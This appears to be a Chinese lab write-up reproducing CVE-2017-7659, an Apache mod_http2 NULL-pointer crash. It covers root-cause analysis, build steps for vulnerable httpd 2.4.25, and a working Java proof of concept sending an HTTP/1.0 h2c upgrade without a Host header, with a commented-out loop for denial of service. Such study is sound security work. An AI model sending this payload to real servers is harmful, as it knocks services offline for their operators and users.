apache在其網站發佈的安全公告,針對CVE-2017-7659漏洞的介紹是這樣的:html
A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.
能夠看到這是apache WEB服務器(httpd)中的一個HTTP 2.0協議處理的漏洞。java
有漏洞的服務器源碼下載連接:https://archive.apache.org/di...
經過補丁的修改進行漏洞成因的逆向分析。首先查看漏洞函數h2_stream_set_request_rec,發現是調用h2_request_rcreat建立http 2.0請求的數據結構req,h2_request_rcreat執行失敗時req爲空,此時在日誌函數ap_log_rerror中直接解引用req致使進程崩潰:linux
繼續查看函數h2_request_rcreate,看到首先會把req置爲0,而後判斷4個變量r->method,scheme,r->hostname,path,任何一個爲空則返回失敗,而此時req仍是0,就會致使進程崩潰:sql
那麼這4個變量是哪個爲空致使的漏洞呢?scheme是先判斷了是否爲空再賦值的,首先排除;path是從r->parsed_uri中解析出來,解析函數apr_uri_unparse在其它地方有屢次使用,直覺path也不會爲空;r->method保存請求的方法字段,在HTTP請求中必須存在,所以也不該該爲空;所以只有r->hostname,保存請求的主機名,也就是域名,可能爲空。apache
咱們知道,HTTP請求中,有2個地方能夠表示主機名:
1) 請求的路徑以完整URL方式表示,URL中包含主機名,例如GET http://www.example.com/ HTTP/1.1,這裏主機名就是 www.example.com。服務器中是在ap_parse_uri函數中解析這種主機名的
2) 在Host請求頭中包含主機名,例如:
GET / HTTP/1.1
Host: www.example.com瀏覽器
服務器中是在fix_hostname函數中解析這種主機名的分別審計ap_parse_uri和fix_hostname函數,發現若是請求中沒有Host頭,那麼r->hostname確實是空。可是服務器也考慮到了這種狀況,在ap_read_request函數中作了判斷:安全
這裏的判斷邏輯,若是知足下面2個條件之一服務器
1) r->hostname爲空,且請求的HTTP版本大於等於1.1
2) 沒有Host頭,且請求的HTTP版本等於1.1
就會馬上回復400狀態碼的錯誤頁面,並不會觸發後面的漏洞。在註釋裏也說明了,HTTP/1.1的RFC2616的14.23節中明確指明, HTTP/1.1請求必須包含Host頭。
可是,HTTP還有1.0版本,且HTTP/1.0和HTTP/1.1的處理流程同樣,雖然HTTP/1.0確實沒有規定請求必須包含Host頭。所以HTTP/1.0請求是能夠沒有Host頭的,程序會一直按照流程執行,最終執行到h2_stream_set_request_rec函數,此時r->hostname爲空,從而觸發漏洞。網絡
綜合上面的分析,該漏洞利用成功須要以下條件:數據結構
1) 服務器支持HTTP/2
2) 請求是HTTP/1.0版本
3) 請求中沒有Host頭
安裝Sqllite # wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz # tar zxf sqlite-autoconf-3080704.tar.gz # cd sqlite-autoconf-3080704 # ./configure --prefix=/usr/local/sqlite-3.8.7.4 # make && make install 安裝apr # wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz # tar zxf apr-1.5.2.tar.gz # cd apr-1.5.2 # ./configure --prefix=/usr/local/apr-1.5.2 # make && make install 安裝apr-util # wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz # tar zxf apr-util-1.5.4.tar.gz # cd apr-util-1.5.4 # ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2 # make && make install 安裝nghttp2 # wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz # tar zxf nghttp2-1.38.0.tar.gz # cd nghttp2-1.38.0 # ./configure --prefix=/usr/local/nghttp2-1.38.0 # make && make install # 最後安裝2.4.25版本的Apache服務器 # cd /usr/local/src # wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz # cd httpd-2.4.25 # ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4 # make && make install # cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default # ln -s /usr/local/apache-2.4.25/ /usr/local/apache
若是提示說沒有mod_http2.so,可使用下面的命令編譯生成
/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下載的源碼modules文件夾那裏執行
至此,實驗的環境已經搭建好。
訪問瀏覽器: 正常訪問
嘗試發送漏洞請求過去,觸發服務器的漏洞函數
public class HttpTest extends Thread{ public void createSocket() { } public void communcate() throws IOException { // 注意這裏必須制定請求方式 地址 注意空格 Socket socket = new Socket("192.168.179.112", 8888); OutputStream os = socket.getOutputStream(); InputStream is = socket.getInputStream(); StringBuffer sb = new StringBuffer("GET / HTTP/1.0\r\n"); // 如下爲請求頭 sb.append("User-Agent: curl/7.50.1\r\n"); //sb.append("Host: 39.108.122.247\r\n"); sb.append("Accept: */*\r\n"); sb.append("Connection: Upgrade, HTTP2-Settings\r\n"); sb.append("Upgrade: h2c\r\n"); sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n"); //sb.append("Content-Length: 2\r\n"); // 注意這裏要換行結束請求頭 sb.append("\r\n"); System.out.println(sb.toString()); try { os.write(sb.toString().getBytes()); ByteArrayOutputStream baos = new ByteArrayOutputStream(); /*byte[] bytes = new byte[1024]; int len = -1; int i =0 ; while ((len = is.read(bytes)) != -1) { baos.write(bytes, 0, len); } System.out.println(new String(baos.toByteArray())); */ socket.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } @Override public void run() { createSocket(); // Dos攻擊 /*while (true) { try { communcate(); } catch (IOException e) { e.printStackTrace(); } }*/ try { communcate(); } catch (IOException e) { e.printStackTrace(); } } /* GET / HTTP/1.1 Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload> */ public static void main(String[] args) { // for(int i =0; i<100 ;++i) { HttpTest client = new HttpTest(); client.start(); // } } }
漏洞成功復現:
此時瀏覽器也訪問不了
當worker進程崩潰時,apache會自動啓動新的worker進程。那麼在真實的網絡環境中,黑客會如何利用此漏洞對服務器進行攻擊呢?
修改上面的Java代碼,發送Dos攻擊
apache 服務器所有worker進程都崩潰了!
這個實驗的難點是分析漏洞的發生緣由、實驗環境的配置。首先,在linux上安裝Apache Http 2.4.25這個版本的服務器,參考網上的一些教程安裝,發現過程是不全的,只能靠本身去根據控制檯打印的錯誤日誌去找緣由,爲了讓Apache服務器支持Http2.0,mod_http2.so這個module一直報錯,後來安裝配置了nghttp2從新編譯才能成功開啓服務器。安裝好實驗環境後,寫了一段Java程序去驗證,發送Http1.0的請求而且不帶Host消息頭,一開始建立了1000個線程發送1000個「惡意請求」,發現Apache服務器並無宕機,百思不得其解,調了一個下午都沒有成功,在隊友的電腦也是這樣的問題。以後不斷地查閱資料,而且嘗試去看源碼,發現須要在配置文件裏面設置日誌級別爲debug纔會觸發漏洞,默認是info級別,這點在官網上並無描述,這個服務器若是是沒有設置爲debug級別是不會執行漏洞函數的,解決了這個大坑以後,服務器終於崩潰(出現了Segmentation fault這個段異常,即內部有空指針異常),可是Apache有保護機制,當worker進程崩潰時,apache會自動啓動新的worker進程。咱們編寫了的程序,同時發起多個畸形請求,以不斷觸發後臺worker崩潰,並讓apache服務器不斷陷入從新分配worker的處理之中。基於漏洞發生的場景能夠得出,解決這個漏洞的關鍵是就是增長了對h2_request_rcreate函數返回值的判斷便可。
參考連接: https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...